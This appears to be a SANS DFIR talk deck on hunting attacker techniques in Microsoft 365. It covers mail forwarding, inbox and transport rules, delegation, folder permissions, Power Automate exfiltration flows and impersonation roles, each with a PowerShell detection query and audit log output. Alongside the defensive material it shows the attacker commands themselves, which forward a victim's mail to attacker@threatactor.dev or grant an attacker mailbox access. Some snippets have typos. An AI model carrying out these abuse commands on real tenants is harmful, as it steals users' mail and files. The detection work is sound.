

Threat Hunting in Microsoft 365 Environment

Thirumalai Natarajan

Anurag Khanna

Threat Hunting in Microsoft 365 Environment

Thirumalai Natarajan Muthiah,
Manager, Consulting Services, Mandiant

Anurag Khanna, Manager – Incident Response
& Consulting Services, CrowdStrike Services

Summit: **Aug 15–16** | Training: **Aug 17–22**

Join us in Austin, TX or
Attend Live Online for **FREE**



SANS DFIR



What will we talk about today?

- Microsoft 365 Services
- Threat Actor TTPs targeting M365 services
- Methods to Hunt and Detect Threat Actors TTPs

Takeaway: Understand the attack surface and hunt for Threat Actor TTPs in M365 Environment.

Why talk about M365 ?

- Microsoft 365 is a bundle of services that includes Teams, Exchange Online , Power Automate, OneDrive, SharePoint Online and more
- Extensively consumed by different organizations
- Privilege Escalations
- Opportunities to Maintain persistence
- Defense Evasions
- Data Extractions

Threat Actors target and abuse cloud services. Defenders need to understand Cloud Security better.

Which TTPs we will hunt for ?

- Abusing Exchange online Service
 - Automated Email Forwarding
 - Delegation Settings
 - Mailbox Folder Permissions
- Abusing Microsoft Flows
 - Auto Email Forwarding
 - Data Extraction
- Persistent Privileged Role
- Illicit OAUTH Grants
- Abusing SharePoint Online
- Maintain Persistent Access to M365 Applications
- Hunting Summary

Abusing Exchange Online Services

- Automated Email Forwarding
- Delegation Settings
- Mailbox Folder Permissions

Automated Email forwarding

Ways to configure Auto Email Forwarding


1. Mailbox Email Forwarding
 - ForwardingSMTPAddress
 - ForwardingAddress (only Internal Mailbox)
2. Inbox rules
3. Transport Rules (Mail Flow Rules)
4. Microsoft Flows



Threat Actors can configure “Automated Email forwarding” to forward Emails from a victim user mailbox to Threat Actor controlled mailbox.

1. Mailbox Email Forwarding

- Email Forwarding configured in the user mailbox settings
- Any user can configure for their inbox
- External mailbox Attribute
“ForwardingSmtpAddress”
- Internal mailbox Attribute
“ForwardingAddress”
- External or Internal Email address



ForwardingSmtpAddress

```
PS C:\> Set-Mailbox -identity Victim -ForwardingSmtpAddress Attacker@threatactor.dev  
-DeliverToMailboxAndForward $true
```


Hunting - Mailbox Email Forwarding - Configuration

List and review **ALL** the mailbox configured with forwarding Address from Mailbox Settings

```
PS C:\> Get-Mailbox -ResultSize Unlimited | Where-Object {($Null -ne $_.ForwardingSmtpAddress)} | Select  
Identity,Name,ForwardingSmtpAddress
```

```
Identity Name      ForwardingSmtpAddress  
-----  
Victim      Result Size smtp:attacker@threatactor.dev
```

Hunting - Mailbox Email Forwarding - Logs

List and review **ALL** the details of Set-Mailbox operations to configure Forwarding Address from **Unified Audit Log (UAL)**


```
$logs = Search-UnifiedAuditLog -Operations set-mailbox -StartDate 2022-01-01 -EndDate 2022-06-30
ForEach ($record in $logs){
    $AuditData = $record.AuditData | ConvertFrom-Json
    if ( $AuditData.Parameters | Where-Object Name -eq 'forwardingsmtpaddress' )
    {$record}}
```

Log Output - Unified Audit Log (UAL) - Mailbox Email Forwarding

```
1 RunspaceId : 463ff990-2a4b-4f75-91d3-e0d13743ffb7
2 RecordType : Exchange
3 CreationDate : 7/4/2022 13:40:24 [{"Name":"ForwardingSmtpAddress","Value":"smtp:Attacker@threatactor.dev"}],
4 UserIds : Victim@threathunting.dev
5 Operations : Set-Mailbox
6 AuditData : {"CreationTime":"2022-07-04T13:40:24","Id":"1e02b5ec-7b02-4d7b-85fe-08da5dc2bf84","Operation":"Set-Mailbox","OrganizationId":"
7 3ccdef89-7d18-5cc4-af91-f5f266ac78a7","RecordType":1,"ResultStatus":"True","UserKey":"10032001f1918D20","UserType":2,"Version"
8 :1,"Workload":"Exchange","ClientIP":"118.100.100.1:17569","ObjectId":"Victim","UserId":"Victim@threathunting.dev","Ap
9 pId":"","ClientAppId":"","ExternalAccess":false,"OrganizationName":"threathunting.dev","OriginatingServer":"TYZPR01MB4
10 506 (15.20.5395.021)","Parameters":[{"Name":"Identity","Value":"Victim"},{"Name":"ForwardingSmtpAddress","Value":"smtp:Attacker@threatactor.dev"}],
11 "SessionId":"5cc83d2b-352e-40a3-b7d8-29b6e2f58315"}
12 ResultIndex : 1
13 ResultCount : 374
14 Identity : 1e02b5ec-7b02-4d7b-85fe-08da5dc2bf84
15 IsValid : True
16 ObjectState : Unchanged
```

2. Inbox Rules

- Inbox rules take action once a message reaches the inbox
- Allows a copy to be sent to a TA controlled address
- Copy of messages that is redirected or forwarded remains in the mailbox
- Requires user level privileges to be configured
- TA can create hidden inbox rules making the properties PR_RULE_MSG_NAME and PR_RULE_MSG_PROVIDER as \$NULL



```
PS C:\> New-InboxRule -mailbox victim@threathunting.dev -name Malicious_Forward -
ForwardTo Attacker@threatactor.dev
```

Hunting - Inbox Rules - Configuration

List and review **ALL** Inbox rules with suspicious actions configured in the Exchange Settings, like ForwardTo, RedirectTo, ForwardAsAttachmentTo

```
PS C:\> $Mailboxes = Get-Mailbox ; foreach ($Mailbox in $Mailboxes) { Get-InboxRule -mailbox $Mailbox.Name | Where-Object {($Null -ne $_.ForwardTo) -or ($Null -ne $_.RedirectTo) -or ($Null -ne $_.ForwardAsAttachmentTo) } | select-object identity,Name,Enabled,ForwardAsAttachmentTo,ForwardTo,RedirectTo }
```

```
Identity           : Victim\15326907450829832193
Name               : Malicious_Forward
Enabled            : True
ForwardAsAttachmentTo :
ForwardTo          : {"Attacker@threatactor.com" [SMTP:Attacker@threatactor.com]}
RedirectTo         :
```

Consider adding `-includehidden` flag to `get-inboxrule` cmdlet to list hidden Inbox folder rules

Hunting - Inbox Rules – Logs

List and review **ALL** Inbox rules with suspicious actions like ForwardTo, RedirectTo, ForwardAsAttachmentTo

Unified Audit Log (UAL)

```
$logs = Search-UnifiedAuditLog -operations new-inboxrule,set-inboxrule -StartDate 2022-01-01 -
EndDate 2022-07-08
ForEach ($record in $logs){
    $AuditData = $record.AuditData | ConvertFrom-Json
    if ( $AuditData.Parameters | Where-Object {($_.Name -like 'ForwardTo') -or ($.Name -eq
'RedirectTo') -or ($.Name -eq 'ForwardAsAttachmentTo')}})
    {$record}}
```


Log Output – Unified Audit Log (UAL) – Inbox Rules

```
1 RunspaceId : b32dc94a-afa3-47a0-a090-3a0bc9df9ce6
2 RecordType : ExchangeAdmin
3 CreationDate : 6/7/2022 11:20:36 am [{"Name": "ForwardTo", "Value": "Attacker@threatactor.dev"}],
4 UserIds : victim@threathunting
5 Operations : New-InboxRule
6 AuditData : {"CreationTime": "2022-07-06T11:20:36", "Id": "dd99814a-dbbb-494d-3dc3-08da5f418c8b", "Operation": "New-InboxRule", "OrganizationId": "3ccd
7 df89-7c18-4cc5-af80-f4f155dc78a7", "RecordType": 1, "ResultStatus": "True", "UserKey": "10032001FBAF96CD", "UserType": 2, "Version": 1, "Worklo
8 ad": "Exchange", "ClientIP": "[2401:7400:6004:2b6c:fc71:4a24:30a6:ad78]:53882", "ObjectId": "victim\\Malicious_Forward", "UserId": "victim@
9 threathunting.dev", "AppId": "", "ClientAppId": "", "ExternalAccess": false, "OrganizationName": "threathunting.dev", "Origin
10 atingServer": "SG2PR01MB1934 (15.20.5395.021)", "Parameters": [{"Name": "Mailbox", "Value": "victim@threathunting.dev"}, {"Name": "N
11 ame", "Value": "Malicious_Forward"}, {"Name": "ForwardTo", "Value": "Attacker@threatactor.dev"}], "SessionId": "61664ada-c082-46fc-b292-3d95
12 2f5fdb09"}
13 ResultIndex : 1
14 ResultCount : 6
15 Identity : dd99814a-dbbb-494d-3dc3-08da5f418c8b
16 IsValid : True
17 ObjectState : Unchanged
```

I

3. Transport Rules aka. Mail Flow Rules

- [Mail Flow Rules](#) take action on messages while they're in transit
- Contain richer set of conditions, exceptions, and actions, providing flexibility to implement many types of messaging policies
- Allow a copy to be sent to a TA controlled address
- Require Exchange Admin access



```
PS C:\> New-TransportRule -Name 'MaliciousForwardMail' -Priority '0' -Enabled $true -SentTo 'Victim@threathunting.onmicrosoft.com' -BlindCopyTo 'attacker@threatactor.com'
```

Name	State	Mode	Priority	Comments
-----	-----	-----	-----	-----
MaliciousForwardMail	Enabled	Enforce	0	

Hunting - Transport Rules - Configuration

List and review **ALL** Transport rules with “BlindCopyTo” configured in the Exchange Settings.

```
PS C:\> Get-TransportRule | where-object{($Null -ne $_.BlindCopyTo)}
>>

Name                State    Mode    Priority Comments
----                -
MaliciousForwardingRule Enabled Enforce 0    Hunting...

PS C:\> Get-TransportRule | where-object{($Null -ne $_.BlindCopyTo)} | format-list
```

Hunting - Transport Rules - Logs

List and review **ALL** the “New-TransportRule” cmdlet executions with parameters “BlindCopyTo” from **Admin Audit Logs (AAL)**

```
PS C:\> Search-AdminAuditLog -Cmdlets New-TransportRule,Set-TransportRule -parameter BlindCopyTo |
Export-Csv C:\temp\AALog-Transport.csv
```

List and review **ALL** “New-TransportRule, Set-TransportRule” operations with parameters “BlindCopyTo” from **Unified Audit Log (UAL)**

```
$logs = Search-UnifiedAuditLog -Operations New-TransportRule, Set-TransportRule -StartDate 2022-
01-01 -EndDate 2022-06-30

ForEach ($record in $logs){
    $AuditData = $record.AuditData | ConvertFrom-Json
    if ( $AuditData.Parameters | Where-Object Name -eq 'BlindCopyTo' )
    {$record}}
```

Log Output - Unified Audit Log (UAL) - Transport Rules

```
1 RunspaceId : 4b9c47e0-9f72-4418-b452-339ce728e64b
2 RecordType : ExchangeAdmin
3 CreationTime : {"Name": "BlindCopyTo", "Value": "attacker@threatactor.com"}]
4 UserIds
5 Operations : New-TransportRule
6 AuditData : {"CreationTime": "2022-06-26T04:14:05", "Id": "d7f66ac0-84f2-46c5-c713-08da572a4f21",
  "Operation": "New-TransportRule"
7   "OrganizationId": "3ccdef89-7d18-5cc4-af91-f5f266ac78a7", "RecordType": 1, "ResultStatus": "True",
  "UserKey": "10032001FBAF96CD", "UserType": 2, "Version": 1, "Workload": "Exchange", "ClientIP": "118.100.100.01:21900",
  "ObjectId": "", "UserId": "Admin@threathunting.onmicrosoft.com", "AppId": "", "ClientAppId": "",
  "ExternalAccess": false, "OrganizationName": "threathunting.onmicrosoft.com", "OriginatingServer": "SG2PR01MB1934
  (15.20.5373.018)", "Parameters": [{"Name": "Name", "Value": "MaliciousForwardMail"}, {"Name": "Priority", "Value": "0"},
  {"Name": "Enabled", "Value": "True"}, {"Name": "SentTo", "Value": "Victim@threathunting.onmicrosoft.com"},
  {"Name": "BlindCopyTo", "Value": "attacker@threatactor.com"}] "SessionId": "d3699d5a-3b72-40b8-8ab7-d3717025c2cc"}
8 ResultIndex : 1
9 ResultCount : 8
10 Identity : d7f66ac0-84f2-46c5-c713-08da572a4f21
11 IsValid : True
12 ObjectState : Unchanged
```

Delegation Settings

Full Access

- Allows the delegate to
 - Open the mailbox
 - View and Delete Emails
- Doesn't allow to send messages

```
PS C:\> Add-MailboxPermission -Identity victim -  
User Attacker -AccessRights FullAccess
```

SendAs

- Allows the delegate to
- Send messages
- No indication message was sent by delegate
- Doesn't allow to read the mailbox content

```
PS C:\> Add-recipientPermission -AccessRights  
SendAs -Trustee Attacker -Identity victim
```

*Abusing Delegation settings impact the identities in the same Tenant only.

Hunting - Delegation Settings - Configuration

List and review ALL mailbox with "FullAccess" permissions configured in Exchange Online settings

```
PS C:\> Get-Mailbox -Resultsize Unlimited | Get-MailboxPermission | Where-Object {  
($_.Accessrights -like "FullAccess")}
```

Identity	User	AccessRights	IsInherited	Deny
-----	-----	-----	-----	-----
Victim	Attacker@threathunting.dev	{FullAccess}	False	Is
Inherited				

Hunting – Delegation Settings (Full Access) - Logs

Hunt for Full Access permissions delegation in Admin Audit Logs

```
PS C:\> Search-AdminAuditLog -Cmdlets Add-MailboxPermission -Parameters AccessRights
```

List and review **ALL** the details of delegation (Full Access) operations from Unified Access logs

```
$logs = Search-UnifiedAuditLog -operations add-mailboxpermission -StartDate 2022-01-01 -EndDate 2022-07-08
ForEach ($record in $logs){
    $AuditData = $record.AuditData | ConvertFrom-Json
    if ( $AuditData.Parameters | Where-Object {($_.Value -eq 'FullAccess')}}
    {$record}}
```

Log Output – Delegation Settings (Full Access) - Unified Audit Log (UAL)

```
1 RunspaceId : 79e832ad-d6ba-46ce-b390-b70850e16c41
2 RecordType :
3 CreationDate : {"Name":"AccessRights","Value":"FullAccess"}}
4 UserIds :
5 Operations : Add-MailboxPermission
6 AuditData : {"CreationTime":"2022-07-07T01:43:21","Id":"16addeb5-b85f-4f99-19fe-08da5fba1355","Operation":"Add-MailboxPermission","OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":1,"ResultStatus":"True","UserKey":"NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Servicehost)","UserType":3,"Version":1,"Workload":"Exchange","ObjectId":"APCPR01A005.PROD.OUTLOOK.COM\\Microsoft Exchange Hosted Organizations\\threathunting.dev\\DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}","UserId":"NT AUTHORITY\\SYSTEM (Microsoft.Exchange.Servicehost)","AppId":"","ClientAppId":"","ExternalAccess":true,"OrganizationName":"threathunting.dev","OriginatingServer":"SEYPR01MB4224 (15.20.5395.021)","Parameters":[{"Name":"DomainController","Value":""}, {"Name":"Identity","Value":"APCPR01A005.PROD.OUTLOOK.COM\\Microsoft Exchange Hosted Organizations\\threathunting.dev\\DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}"}, {"Name":"User","Value":"APCPR01A005.PROD.OUTLOOK.COM\\Microsoft Exchange Hosted Organizations\\threathunting.dev\\DiscoveryManagement"} {"Name":"AccessRights","Value":"FullAccess"}}
7
8
9
10
11
12
13
14
15
16
17
18
19
20 ResultIndex : 1
21 ResultCount : 43
22 Identity : 16addeb5-b85f-4f99-19fe-08da5fba1355
23 IsValid : True
24 ObjectState : Unchanged
```

Hunting Suspicious Delegations (SendAs) – Configurations, AAL

List and review **ALL** mailbox with SendAs permissions configured in Exchange Online settings

```
PS C:\> Get-Mailbox -Resultsize Unlimited | Get-RecipientPermission | where-Object  
{ ($_.Accessrights -like "SendAs")}
```

Identity	Trustee	Access Control type	AccessRights
-----	-----	-----	-----
Victim	Attacker@threathunting.dev	Allow	SendAs

Hunt for SendAs permissions delegation operations in Admin Audit Logs

```
PS C:\> Search-AdminAuditLog -Cmdlets Add-RecipientPermission -Parameters AccessRights
```


Hunting for Suspicious Delegation Settings (SendAs) in UAL

List the details of delegation (SendAs) operations from **Unified Access logs**


```
$logs = Search-UnifiedAuditLog -operations Add-RecipientPermission -StartDate 2022-01-01 -EndDate 2022-07-20
ForEach ($record in $logs){
    $AuditData = $record.AuditData | ConvertFrom-Json
    if ( $AuditData.Parameters | Where-Object {($_.Value -eq 'SendAs')})
    {$record}}
```

Log Output - Delegation Settings (SendAs) - UAL

```
1 RunspaceId      : 5e6225bf-7dd1-4795-9a99-1283fbe4f0b3
2 RecordType     : ExchangeAdmin
3 CreationDate   : 16/5/2022 5:01:16 [ {"Name": "AccessRights", "Value": "SendAs"}
4 UserIds        : victim@threat
5 Operations     : Add-RecipientPermission
6 AuditData      : {"CreationTime": "2022-05-16T05:05:16", "Id": "0d60f94f-6ce8-4e61-5d34-08da36f9aa8e", "Operation": "Add-RecipientPermission", "OrganizationId": "3c0dddf89-7c18-4cc5-af80-f4f155dc78a7", "RecordType": 1, "ResultStatus": "True", "UserKey": "10032000C0A69155", "UserType": 2, "Version": 1, "Workload": "Exchange", "ClientIP": "151.192.155.153:59194", "ObjectId": "Victim", "UserId": "victim@threathunting.dev", "AppId": "", "ClientAppId": "", "ExternalAccess": false, "OrganizationName": "threathunting.dev", "OriginatingServer": "HK0PR01MB2786 (15.20.5250.018)", "Parameters": [{"Name": "AccessRights", "Value": "SendAs"}, {"Name": "Trustee", "Value": "Attacker"}, {"Name": "Identity", "Value": "victim"}], "SessionId": "6a18b6bf-8d88-43bc-9ae3-4019c20f8b36"}
7
8
9
10
11
12
13
14
15 ResultIndex    : 4
16 ResultCount   : 4
17 Identity      : 0d60f94f-6ce8-4e61-5d34-08da36f9aa8e
18 IsValid       : True
19 ObjectState   : Unchanged
```

Mailbox Folder Permissions

- Grant permissions to specific mailbox folders like Inbox , Sent Items to other users
- Configured by mailbox owner, or delegated users on behalf of a mailbox owner or an Exchange administrator
- Permissions can be assigned to users or Security Groups
- Two Special User types:
 - Anonymous: External, unauthenticated users
 - Default: Internal, authenticated users



```
PS C:\> Add-MailboxFolderPermission -Identity victim@threathunting.dev:\inbox -User Default -AccessRights owner
```

Hunting - Mailbox Folder Permissions - Configurations

List and review **ALL** the mailboxes with “Top of Information Store” folder Permissions for Default user or Anonymous user assigned with access rights configured in the Exchange Settings.

```
PS C:\> Get-Mailbox | Get-MailboxFolderPermission | Where-Object {($_.user -like 'Anonymous')  
-or ($.user -like 'Default') -and ($.AccessRights -ne 'None')} | fl
```

List and review **ALL** the mailboxes with “Inbox” folder Permissions for Default user / Anonymous user assigned with access rights configured in the Exchange Settings.

```
PS C:\> $mailboxes = Get-Mailbox -ResultSize Unlimited  
PS C:\> ForEach ($record in $logs){  
$AuditData = $record.AuditData | ConvertFrom-Json  
if ( $AuditData.Parameters | Where-Object {($_.Value -like 'Anonymous') -or ($.Value -eq  
'Default')} ) {$record}}
```

Hunting - Mailbox Folder Permissions - UAL

List and review **ALL** the details of “Add-MailboxFolderPermission” operations in Unified Audit Logs

```
$logs = Search-UnifiedAuditLog -operations add-MailboxFolderPermission,Set-MailboxFolderPermission -
StartDate 2022-01-01 -EndDate 2022-07-08
ForEach ($record in $logs){
    $AuditData = $record.AuditData | ConvertFrom-Json
    if ( $AuditData.Parameters | Where-Object {($_.Value -like 'Anonymous') -or ($.Value -eq
'Default') }) {$record}}
```


Log Output – Mailbox folder permissions- UAL

```
1 RunspaceId : 909daed7-2b12-4bc6-944c-0ed3ee04cc60
2 RecordType : ExchangeAdmin
3 CreationDate : 17/5/2022 6:49:01 am
4 UserIds : victim@threathunting.dev {"Name": "User", "Value": "Default"},
5 Operations : Add-MailboxFolderPermission
6 AuditData : {"CreationTime": "2022-05-17T06:49:01", "Id": "767b8712-98ac-4e77-c7fb-08da37d15371", "Operation": "Add-MailboxFolderPermission", "OrganizationId": "5ccddf89-7c18-4cc5-af80-f4f155dc78a7", "RecordType": 1, "ResultStatus": "True", "UserKey": "10032000C0A69155", "UserType": 2, "Version": 1, "Workload": "Exchange", "ClientIP": "151.192.155.153:25722", "ObjectId": "Victim:\inbox", "UserId": "victim@threathunting.dev", "AppId": "", "ClientAppId": "", "ExternalAccess": false, "OrganizationName": "threathunting.dev", "OriginatingServer": "HK0PR01MB2786 (15.20.5250.018)", "Parameters": [{"Name": "Identity", "Value": "victim@thru2020.onmicrosoft.com:\inbox"}, {"Name": "User", "Value": "Default"}, {"Name": "AccessRights", "Value": "Owner"}], "SessionId": "6a18b6bf-8d88-43bc-9ae3-4019c20f8b36"}
7
8
9
10
11
12
13
14
15 ResultIndex : 3
16 ResultCount : 3
17 Id
18 IsV {"Name": "AccessRights", "Value": "Owner"}]
19 ObjectState : Unchanged
```

Abusing Microsoft Flows

Microsoft Flows aka. Power Automate

- Allows user to create and automate workflow called flows for several applications and services
- Trigger-based automation
- Allows users to integrate workflow with applications using various connectors
- Capabilities include synchronization of files, send/receive notifications, auto-forward emails etc.



Microsoft Flows – Auto Forward Email

- Threat Actor creates a workflow to auto-forward emails for the compromised account
- When a new email arrives, flow will be triggered and execute an action to forward email to threat actor Email ID

The screenshot displays a Microsoft Flow interface for a workflow titled "Auto-Forward Email". At the top right, there are "Undo", "Redo", and "Save" icons. The workflow consists of two steps:

- Trigger:** "When a new email arrives (V3)"
- Action:** "Forward an email (V2)"

The "Forward an email (V2)" action is configured with the following fields:

- * Message Id:** A dropdown menu showing "Message Id x".
- * To:** A text box containing "attacker@threatactor.dev".
- Original Mailbox Address:** A text box containing "Address of the shared mailbox to forward mail from."
- Comment:** A text box containing "Comment".

Hunting - Suspicious Microsoft Flows – UAL

Search across Unified Audit Logs for creation of flows

```
PS C:\> Search-UnifiedAuditLog -operations createflow -startdate 2022-01-01 -enddate 2022-06-30
```

```
1 RunspaceId : f7bdf828-eb79-4c99-9a2d-e361253a742f
2 RecordType : MicrosoftFlow
3 CreationDate : 17/5/2022 8:46:41 am
4 UserIds : Victim@threathunting.dev
5 Operations : CreateFlow
6 AuditData : {"CreationTime":"2022-05-17T08:46:41","Id":"f5abef13-7b25-4eb6-8ade-b5e9cd0ba2b7","Operation":"CreateFlow",
7 "OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":30,"ResultStatus":"Success","UserKey":"cddace27-ac22-46d6-80aa-4efba49c942a","UserType":0,"Version":1,"Workload":"MicrosoftFlow","ClientIP":"151.192.155.153","ObjectId":"cddace27-ac22-46d6-80aa-4efba49c942a","UserId":"Victim@threathunting.dev",
8 "FlowConnectorNames":"OpenApiConnectionNotification, OpenApiConnection","FlowDetailsUrl":"https://admin.powerplatform.microsoft.com/environments/Default-3ccddf89-7c18-4cc5-af80-f4f155dc78a7/flows/cc509d45-8b3f-4dcb-a8ca-0a5c180f27ec/flowDetails","LicenseDisplayName":"","SharingPermission":1,"UserTypeInitiated":1,"UserUPN":"Victim@threathunting.dev"}
9
10
11
12
13
14 ResultIndex : 1
15 ResultCount : 1
16 Identity : f5abef13-7b25-4eb6-8ade-b5e9cd0ba2b7
17 IsValid : True
18 ObjectState : Unchanged
```

CreateFlow

Artefacts in auto-forwarded Emails through Flows

```
PS C:\> Search-UnifiedAuditLog -operations Send -startdate 2022-01-01 -enddate 2022-06-30
```

```
1 RunspaceId : f7bdf828-eb79-4c99-9a2d-e361253a742f
2 RecordType : ExchangeItem
3 CreationDate : 17/5/2022 8:48:06 am
4 UserIds : Victim@threathunting.dev "ClientIP":"40.126.35.153"
5 Operations : Send
6 AuditData : {"CreationTime":"2022-05-17T08:48:06","Id":"858b2046-5940-4d5c-553c-08da37e1f5f8","Operation":"Send","O
7 rganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":2,"ResultStatus":"Succeeded","UserKe
8 y":"10032001FA918D20","UserType":0,"Version":1,"Workload":"Exchange","ClientIP":"40.126.35.153","UserId
9 ":"Victim@threathunting.dev","AppId":"00000003-0000-0000-c000-000000000000","ClientAppId":"7ab7
10 862c-4c57-491e-8a45-d52a7e023983","ClientIPAddress":"40.126.35.153","ClientInfoString":"Client=REST;;",
11 "ClientRequestId":"4784abe1-4ac0-473f-85dc-bcbbb5cba85c","ExternalAccess":false,"InternalLogonType":0,"
12 LogonType":0,"LogonUserSid":"S-1-5-21-4255210869-4092290506-3268864466-36816385","MailboxGuid":"22cfe17
13 7-2ef4-4435-8d92-5fcd4fec93f5","MailboxOwnerSid":"S-1-5-21-4255210869-4092290506-3268864466-36816385","
14 MailboxOwnerUPN":"Victim@threathunting.dev","OrganizationName":"threathunting.dev","Ori
15 ginatingServer":"TYZPR01MB4506 (15.20.4200.000)\r\n","Item":{"Id":"Unknown","InternetMessageId":"<TYZPR
16 01MB4506E75B8BC4479FFB254D790CE9@TYZPR01MB4506.apcprd01.prod.exchangelabs.com>","ParentFolder":{"Id":"
17 LgAAAADxyzPsn8r3Tr2hn1YKL3\FAQAz6AHj\KNeTbaDV0jEGXX4AAAAAAEPAAB","Path":"\\Drafts"},"SizeInBytes":50
18 13,"Subject":"FW: Test email"}}
19 ResultIndex : 8
20 ResultCount : 9
21 Identity : 858b2046-5940-4d5c-553c-08da37e1f5f8
22 IsValid : True
23 ObjectState : Unchanged
```

```
x-ms-mail-operation-type: Forward
x-ms-mail-application: Microsoft Power Automate; User-Agent:
azure-logic-apps/1.0 (workflow bd193a3b994e4bcdb1d27ade4bcd6b49; version
08585487747466477548) microsoft-flow/1.0
x-ms-mail-environment-id: default-3ccddf89-7c18-4cc5-af80-f4f155dc78a7
```

Email Message Header

Data Extraction through Flows

- Threat Actor creates a workflow to extract files from Victim's one drive drive to Threat Actors cloud storage Account
- When a new file is created, flow will be triggered and execute an action to upload a copy of the file to Threat Actors cloud storage Account

The screenshot displays a Microsoft Flow workflow with two steps:

- Step 1: When a file is created**
 - Folder: /
 - Show advanced options: ▾
- Step 2: Create file**
 - Folder Path: File path x
 - File Name: File name x
 - File Content: File content x

A downward arrow with a plus sign indicates the flow from the first step to the second.

Artefacts in UAL on Data Extraction using Microsoft Flows

```
PS C:\> Search-UnifiedAuditLog -operations Filedownloaded -startdate 2022-01-01 -enddate 2022-06-30
```

```
1 RunspaceId : f7bdf828-eb79-4c99-9a2d-e361253a742f
2 RecordType : SharePointFileOperation
3 CreationDate : 18/5/2022 5:17:35 am
4 UserIds : victim@threathunting.dev
5 Operations : FileDownloaded
6 AuditData : {"AppAccessContext":{"CorrelationId":"f7d06965-3e1e-441d-a508-33b5c495f2cf","UniqueTokenId":"xMn0fAF-T0
7 uRpJ7rbthDAA"},"CreationTime":"2022-05-18T05:17:35","Id":"3358a96c-d310-49fc-5f91-08da388db800","Operat
8 ion":"FileDownloaded","OrganizationId":"3ccddf89-7c18-4cc5-af80-f4f155dc78a7","RecordType":6,"UserKey":
9 "i:0b-f1membership|10032001fa918d20@live.com","UserType":0,"Version":1,"Workload":"OneDrive","ClientIP"
10 :"52.187.25.190","ObjectId":"https://\threathunting-my.sharepoint.com/personal/victim_threathunting_dev\
11 /Documents/Hello.txt","UserId":"victim@threathunting.dev","CorrelationId":"f7d06965-3e
12 1e-441d-a508-33b5c495f2cf","EventSource":"SharePoint","ItemType":"File","ListId":"2912673f-ca95-4d48-a4
13 de-ee00291668fd","ListItemUniqueId":"2430140a-c44a-4a04-a0b5-61d427310bb7","Site":"da4ba103-69b2-4518-9
14 392-b0406f8c5d10","WebId":"3dc194d0-1a42-447f-bad6-b76cdd348652","FileSizeBytes":5,"HighPriorityMediaPr
15 ocessing":false,"IsManagedDevice":false,"SourceFileExtension":"txt","SiteUrl":"https://\threathunting-my.s
16 harepoint.com/personal/victim_threathunting_dev\/","SourceFileName":"Hello.txt","SourceRelati
17 veUrl":"Documents"}
18 ResultIndex : 5
19 ResultCount : 5
20 Identity : 3358a96c-d310-49fc-5f91-08da388db800
21 IsValid : True
22 ObjectState : Unchanged
```

FileDownloaded

:"52.187.25.190",

File extracted to Threat Actor Cloud Storage

Hunting - List all Flows - Configuration

```
PS C:\> $flowCollection = @()
Connect-MsolService
$users = Get-MsolUser -All | Select-Object UserPrincipalName, ObjectId
$flows = get-AdminFlow
foreach($flow in $flows){
    $flowProperties = $flow.internal.properties
    $Creator = $users | where-object{$_ .ObjectId -eq $flowProperties.creator.UserID}
    $triggers = $flowProperties.definitions.summary.triggers
    $actions = $flowProperties.definitions.summary.actions | where-object {$_ .swaggerOperationId}
    [datetime]$modifiedTime = $flow.LastModifiedTime
    [datetime]$createdTime = $flowProperties.createdTime
    $flowCollection += new-object psobject -property @{displayName
= $flowProperties.displayName;environment =
$flowProperties.Environment.name;State = $flowProperties.State;Triggers =
$triggers.swaggerOperationId;Actions = $actions.swaggerOperationId;Created = $createdTime.ToString("dd-
MM-yyyy HH:mm:ss");Modified = $modifiedTime.ToString("dd-MM-
yyyy HH:mm:ss");CreatedBy = $Creator.userPrincipalName
}
    $flowCollection
}
```

Hunting - List all Flows - Configuration - Output

Output – Auto Forward Email

Modified : 18-05-2022 11:29:54
State : Started
Actions : {ForwardEmail_V2, DeleteEmail_V2}
displayName : Malicious - Email Forwarding
CreatedBy : Victim@threathunting.dev
environment : <Redacted>
Triggers : OnNewEmailV3
Created : 18-05-2022 11:29:31

Output – Data Extraction Flow

Modified : 18-05-2022 13:32:02
State : Started
Actions : CreateFile
displayName : Extract Files
CreatedBy : Victim@threathunting.dev
environment : <Redacted>
Triggers : OnNewFileV2
Created : 18-05-2022 12:54:07

Persistent Privileged Role

Application Impersonation Role

- Applications with `ApplicationImpersonation` role can access the contents of a user's mailbox and act on behalf of that user, even if the user's account is disabled
- Typically, this role is assigned to Third Party Email Solutions, CRM Integration, VOIP Systems, Backup Solutions etc
- A management role assignment is the link between a management role and a role assignee. A role assignee is a role group, role assignment policy, user, or universal security group (USG)
- A Threat Actor can assign application impersonation role to an account they control, if they have privileged access

```
PS C:\> New-ManagementRoleAssignment -Name:impersonationAssignment -  
Role:ApplicationImpersonation -User:Attacker
```

Hunting - List identities with Application Impersonation Role - Configuration

```
PS C:\> $AppImperGroups = Get-RoleGroup | Where-Object Roles -like ApplicationImpersonation
ForEach ($Group in $AppImperGroups)
{
  Get-RoleGroupMember $Group.Name
}
```

Name	RecipientType
-----	-----
Attacker	UserMailbox

```
PS C:\> Get-ManagementRoleAssignment -Role ApplicationImpersonation
```

Name	Role	RoleAssigneeName	RoleAssigneeType	AssignmentMethod	EffectiveUserName
----	-----	-----	-----	-----	-----
Impersonation Assignment	Application Impersonation	Attacker	User	Direct	Attacker

Hunting - List Application Impersonation Role assignments - UAL

List and review Application Impersonation Role assignments in the Unified Audit Logs

```
$logs = Search-UnifiedAuditLog -operations 'New-RoleGroup, New-ManagementRoleAssignment, set-ManagementRoleAssignment' -StartDate 2022-01-01 -EndDate 2022-07-08
ForEach ($record in $logs){
$AuditData = $record.AuditData | ConvertFrom-Json
if ( $AuditData.Parameters | Where-Object {($_.Value -like 'ApplicationImpersonation')})
{$record}}
```

Hunting - Application Impersonation Role – Log Output

```
1 RunspaceId : 91cb436b-7db8-4d3e-9556-0392df8e48c9
2 RecordType : ExchangeAdmin
3 CreationDate : 19/5/2022 4:24:29 am
4 UserIds : admin@threathunting.dev
5 Operations : New-ManagementRoleAssignment
